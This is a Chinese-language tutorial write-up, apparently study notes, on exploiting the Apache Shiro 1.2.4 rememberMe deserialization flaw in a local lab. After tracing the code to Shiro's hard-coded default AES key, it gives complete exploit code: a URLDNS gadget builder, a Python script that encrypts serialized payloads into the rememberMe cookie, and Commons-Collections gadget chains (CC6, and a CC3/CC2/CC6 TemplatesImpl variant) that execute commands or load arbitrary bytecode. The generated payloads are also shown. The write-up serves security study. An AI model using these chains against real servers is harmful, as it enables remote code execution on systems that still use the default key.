shiro反序列化简单利用-1
https://www.bilibili.com/video/BV1iF411b7bD?t=16.0
环境搭建
git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.2.4
编辑shiro/samples/web目录下的pom.xml,将jstl的版本修改为1.2
流程分析
静态分析
尝试登录并抓包
username和Password都用上面提供的
发现响应头中有rememberMe
cookie里面保存了信息,很可能是序列化后的结果
然后找和cookie相关的代码:
找到CookieRememberMeManager类,里面有rememberSerializedIdentity方法,这个应该跟序列化有关
然后找到了getRememberedSerializedIdentity这个方法
其中进行了base64的加密解密:
发现getRememberedPrincipals调用了getRememberedSerializedIdentity方法
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
PrincipalCollection principals = null;
try {
byte[] bytes = getRememberedSerializedIdentity(subjectContext);
//SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
if (bytes != null && bytes.length > 0) {
principals = convertBytesToPrincipals(bytes, subjectContext);
}
} catch (RuntimeException re) {
principals = onRememberedPrincipalFailure(re, subjectContext);
}
return principals;
}
里面还调用了convertBytesToPrincipals方法,意思应该是将字节转换为认证信息
跟进convertBytesToPrincipals方法:
发现里面调用了decrypt方法
这里先解密再反序列化
跟进这个deserialize:
继续跟进:
继续跟进:
发现调用了原生的readObject进行反序列化
如果有CC的依赖就能打漏洞了。。。
再回去跟进decrypt方法:
继续跟进:
继续跟进:
发现是一个接口:
ByteSource decrypt(byte[] encrypted, byte[] decryptionKey) throws CryptoException;
第一个参数为加密的数据,第二个为key
也就是说可能是对称加密,这是用key去解得
回去看这个key是什么
来到AbstractRememberMeManager这个类:
发现key为getDecryptionCipherKey() 的返回值
跟进getDecryptionCipherKey():
发现返回常量decryptionCipherKey
跟进其定义:
接着看它是在哪儿赋值的:
发现是在setCipherKey里赋值的,那就跟进这个函数:
发现是在setCipherKey里调用的,再看看setCipherKey的用法:
发现是在AbstractRememberMeManager里面调用的
这时setCipherKey里面是常量,跟进他的定义:
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
好的,发现这个key为固定key,值为 kPH+bIxk5D2deZiIxcaaaA==
的base64解码
而使用的算法是aes算法:
接下来的利用就是:
构造序列化数据+固定key加密+base64编码,放到rememberMe里面,服务端进行解码、解密和反序列化
URLDNS:
package org.apache.shiro.web.test;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception{
HashMap<URL,Integer> hashMap = new HashMap<URL, Integer>();
URL url = new URL("http://");
Class c = url.getClass();
Field hashCodeField = c.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url,1234);
hashMap.put(url,1);
hashCodeField.set(url,-1);
serialize(hashMap);
}
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
}
exp.py:填充密钥key即可
import base64
import uuid
from random import Random
from Crypto.Cipher import AES
def get_file_data(filename):
with open(filename,'rb') as f:
data = f.read()
return data
def aes_enc(data):
BS = AES.block_size
pad = lambda s:s + ((BS - len(s) % BS) * chr(BS - len(s) %BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key),mode,iv)
ciphertext = base64.b64encode(iv+encryptor.encrypt(pad(data)))
return ciphertext
def aes_dec(enc_data):
enc_data = base64.b64decode(enc_data)
unpad = lambda s : s[:-s[-1]]
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = enc_data[:16] # 向量,随便取的
encryptor = AES.new(base64.b64decode(key),mode,iv)
plaintext = encryptor.decrypt(enc_data[16:])
plaintext = unpad(plaintext)
return plaintext
if __name__ == '__main__':
data = get_file_data("ser.bin")
print(aes_enc(data))
运行后得到:
b'EbVh6+bvSPWHlztjVAH1eGjjpAVAHeq/0H+T8eFbUkSzYk1+iea6f1TNOewkxYGE2REEoWasKsRXwTLk+HvmduwlJ/hS1Ten/kiYquXhOtOg1t/Cx2A0mPPt3k7z35Ttxv7sdkBUNGwLeJ6u9Lz6PaNy8MjPfrhjkdDnfruSEiwlJSZQBQ77BmnuL/rlu0TonIGa0u/VmU2MAaJvmGYhilNctsDLZGWnoUOedtFk/iVeweh6d9TBCXrxMlwoNAzaGse3htNHOFOBPZNJavxmkVYKyZRsZMZg9wdr4G3AXHtfASdwViZYDvkZRBvAm8hxpTKLQsCk/1x8IkWA9nfACqEAiz5xQovdTkr98ZvRXc9w3al9lVaojzHE+k/jDhPCQSfC5Z9UVzTRGObUtCvPbe4YPN3rY5QLIRSnkVhNkEDKNX2bCzILSXx48jz/RQy1xL1gHQWi0OmaqU5wt0ICNKoDA4gfTMFFIYKfLdJiH8g='
由于系统在JSESSIONID存在的情况下不会检查rememberMe的值:
所以要将JSESSIONID删除
用生成的替换rememberMe的值:
重新换了个域名所以payload有变化
发现进行了DNS域名解析,证明攻击成功
动态分析
打断点:
发包到断点:
跟进到readObject:
然后在HashMap的readObject这里打断点:
顺利来到了HashMap的readObject方法里面:
然后反序列化这个HashMap即可
shiro下CC链的利用
在pom.xml里面加上这两个依赖:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>9.0.45</version>
</dependency>
想要执行代码一般就要用CC链
用CC6打CC3的链:
package org.apache.shiro.web.test;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.Transformer;
import java.util.HashMap;
import java.util.Map;
public class CC6Test {
public static void main(String[] args) throws Exception{
// System.out.println("hello world");
// ChainedTransformer.transform -> InvokerTransformer.transform
Transformer[] transformers= new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// LazyMap.get -> ChainedTransformer.transform
HashMap<Object,Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
// 使得在map2.put的时候无法实现LazyMap.get -> ChainedTransformer.transform这一步
// TiedMapEntry.hashcode -> TiedMapEntry.getValue -> LazyMap.get
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
// HashMap.readObject -> HashMap.hash -> TiedMapEntry.hashcode
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb"); // TiedMapEntry.hashcode
lazyMap.remove("aaa");
// 修改LazyMap中factory的值,预期它的值为chainedTransformer
// 这里就是通过反射来控制factory的值为chainedTransformer
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);
serialize(map2);
// unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
然后替换ser.bin,并运行exp.py,得到:
b'JmroTs9RQDu2fRYowjYlrx2GPmGNnZoOkGWNMG2j8+srIJe6Rwiz+alDEJqjM7adPpitL5lcZ+FRV9R7nH9PA3U1d+PHpqoaAo5pMeX19VpPybkunhH7g+dOFW/Itt9/KtxmGCVtkR945I7+i5MdPhHiqYAav5f5/SNYPj5tdF2FUOv2SQdwZRDgb8e3qPxmXGkAAe7SPKCzyq673NsyNFJbuxANZ5CXWza/qsfsXKQ7v94nchGFRRmLTF1TiTdAFHH0Kw0myoiwbJ78Nb6y27c1LSBjg7ZfnHJtPPek0rzIu573h22cDasky1av+ewdVL7wr14mUQPC6k2Cj29T++yHHFGBcY0m4Yo3RHzgysjY/wl/peFi5yZLv0pevgphJ7VhW3bza/+5M6AVEUg6jRbz/uKTbeIRC7hJcy4TJAQDfO90Y7ws8sK2Eq2g9ZS/PkcdUJuut2qfzjhBXUlxjmux71xIiR/MiqasrTDrowhEHKGEKi5BAlUXeD5C99bJVSxd+7yjJM+3pJzOhFXQ+1ckinDd9s8tkipGMVMs3RYrQjXirKd18TIbsd2nAhxqmHNsscHk3TLSGjFaXrNer2rX/+m7DWLkABKmtxWDIIqgFCXBo/FgBXEZ46H7k2TgnbkycfF7uTAN5c51eRz6GP2CsgQJslUCEe2fUHpBvZWAmaelq+D68cjZZHlbKvuTGkZsXgE/Br+D5qUQrb/f1TcjpQJreRafDyeXro3LPvAXce+68gZN+46nbKc5Oqv1mkP23TBgZSLz3O/jbLrd6/Nrci3IDT9Qq54jfk8ANUPxzdo4BwOIHdnLdyC7nWTSyEzdN7wRCjnQvjPTrzU667zVZeo9DaS0guoWvil7FGymjBT7CZE5FCrKADC3zuuZR2YjxW2BmXp1v38j6Lwk/SVdWAJCmjhRpZOn4xvi328dNQt7YP5QBbpy5XtqQj87BOLfnHz6QbUWuebirxT2FrN1o4bzfHlhNbZ5tEVPncZlWaj3RhQV1n9oCUeuWe2Uo5dFnYRXRYlULMDsHG0Ejwr8hjVxUPZSNnGrgk/x+eI2AQdAIKf5z7oU01PFbwM2PHcMG0GFomw398oVMTSaDv7mLJyeRAecL1vd5kaxL/JpwCyqfbp6jomtXuTH5JQBfUAE8CjFTxByOX7MrhTb7Pp6bXiMcTJKxAmZn9K8jC8kky+LLzAcW+jdXgAQIxk33jj6AbLIleBT/Ag0qCpWAp++vjzwaeURXJGqsXx14FUmYR1SiIDbp2LTnzHwRRZNJs9pxqxKCaMkaG0woNe2H8wLw9SZk1ahmZ0T/Fy7Vuoi1Q14cdkd0wIHpiBuTVcWMALPuYO1gOknl3pFCQuv9/Z3kHamr5bdv+BBPm9wViscKYT95Pi3EJ1OMhTzvwY5jABAbRrQ6lNJmSgxMI5Q5ax3wGkKOLcA0J+qqy2C+gn4hMlWLMZ9jqJ3is636YxRCkTWcvqlIuWFme0gcIzcbfflsP7SbwuyLZVjvmzoqzbfz+XbIu2YcxphFKAWOnKv'
直接发包,得到报错信息:
2024-09-06 14:05:24,867 TRACE [org.apache.shiro.util.ClassUtils]: Unable to load class named [[Lorg.apache.commons.collections.Transformer;] from the thread context ClassLoader. Trying the current ClassLoader...
2024-09-06 14:05:24,868 TRACE [org.apache.shiro.util.ClassUtils]: Unable to load clazz named [[Lorg.apache.commons.collections.Transformer;] from class loader [ParallelWebappClassLoader
context: samples_web_war
delegate: false
----------> Parent Classloader:
java.net.URLClassLoader@134593bf
即不能加载Lorg.apache.commons.collections.Transformer 这个类
然后因为双亲委派会加载好几次,所以这里都加载不到,产生很多报错。
以下看为什么会报错
先来到反序列化的这里:
来到DefaultSerializer类的desearialize方法里面:
接下来看他的反序列化是如何实现的
之前说的是调用的readObject:
但是实际上并不是直接调用的原生的ObjectInputStream的readObject,实际上:
ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
@SuppressWarnings({"unchecked"})
T deserialized = (T) ois.readObject();
调用的是ClassResolvingObjectInputStream 这个类
这是shiro里面自定义的输入流
跟进这个类:
发现有两个方法,一个是构造方法,一个是resolveClass
而java原生反序列化是会调用这个resolveClass方法,如果重写的话,则会调到这个重写的方法
现在和原生(ObjectInputStream类)的resolveClass方法对比一下
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException
{
String name = desc.getName(); // 获取name
try {
return Class.forName(name, false, latestUserDefinedLoader()); // 类加载
} catch (ClassNotFoundException ex) {
Class<?> cl = primClasses.get(name);
if (cl != null) {
return cl;
} else {
throw ex;
}
}
}
而shiro自定义的:
protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
try {
return ClassUtils.forName(osc.getName());
} catch (UnknownClassException e) {
throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", e);
}
}
有个ClassUtils类
ClassUtils是一个工具类,提供了很多缓存数据和初始化内容的方法
跟进ClassUtils的forName:
线程的上下文类加载器--->当前的类加载器--->系统/应用类加载器
即加载三次
继续分析为什么加载不到
简单来说:
-
ClassUtils类的forName方法里面的ClassLoader的loadClass是加载不到数组类的
-
而原生的ObjectInputStream类的resolve方法里面的Class.forName是可以加载数组类的
即如果想要打这条链,即让链中没有数组类即可
出口有两处:
一个是Runtime.exec,一个是defineClass->newInstance
而如果选择Runtime.exec的话,则势必要使用InvokerTransformer循环递归:
而当InvokerTransformer加上TemplatesImpl类时就不会出现数组类:
接下来使用CC2、CC3、CC6的半部分
为什么要用CC6呢?
因为CC6可以用HashMap
之前一直想用Transformer这个数组类的原因就是为了控制最后到目标点的结果
即
new ConstantTransformer(Runtime.class)
CC6可以控制出路,如果传到HashMap的key里面,最后这个东西是一直传进去的,不用ConstantTransformer
接下来做演示:
接下来的部分:
先直接拷贝CC3部分代码:
TemplatesImpl templates = new TemplatesImpl();
// templates.newTransformer();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\__easyHelper__\\Test_CC3.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
CC2的部分代码:
// newTransformer是TemplatesImpl类里的一个方法,调用newTransformer的目的是动态加载类,然后执行代码
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
CC6的部分代码:
// LazyMap.get -> ChainedTransformer.transform
HashMap<Object,Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
// 使得在map2.put的时候无法实现LazyMap.get -> ChainedTransformer.transform这一步
// TiedMapEntry.hashcode -> TiedMapEntry.getValue -> LazyMap.get
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
/*
将aaa改为templates
*/
// HashMap.readObject -> HashMap.hash -> TiedMapEntry.hashcode
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb"); // TiedMapEntry.hashcode
lazyMap.remove(templates);
/*
将aaa 改为 templates
*/
// 修改LazyMap中factory的值,预期它的值为chainedTransformer
// 这里就是通过反射来控制factory的值为chainedTransformer
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,invokerTransformer);
/*
将ainedTransformer改为invokerTransformer
*/
serialize(map2);
// unserialize("ser.bin");
完整:
package org.apache.shiro.web.test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC_shiro {
public static void main(String[] args) throws Exception{
// CC3
TemplatesImpl templates = new TemplatesImpl();
// templates.newTransformer();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\__easyHelper__\\Test_CC3.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
// CC2
// newTransformer是TemplatesImpl类里的一个方法,调用newTransformer的目的是动态加载类,然后执行代码
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
// cc6
// LazyMap.get -> ChainedTransformer.transform
HashMap<Object,Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
// 使得在map2.put的时候无法实现LazyMap.get -> ChainedTransformer.transform这一步
// TiedMapEntry.hashcode -> TiedMapEntry.getValue -> LazyMap.get
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
/*
将aaa改为templates
*/
// HashMap.readObject -> HashMap.hash -> TiedMapEntry.hashcode
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb"); // TiedMapEntry.hashcode
lazyMap.remove(templates);
/*
将aaa 改为 templates
*/
// 修改LazyMap中factory的值,预期它的值为chainedTransformer
// 这里就是通过反射来控制factory的值为chainedTransformer
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,invokerTransformer);
/*
将ainedTransformer改为invokerTransformer
*/
serialize(map2);
// unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
同样的,运行生成ser.bin文件,替换ser.bin,运行exp.py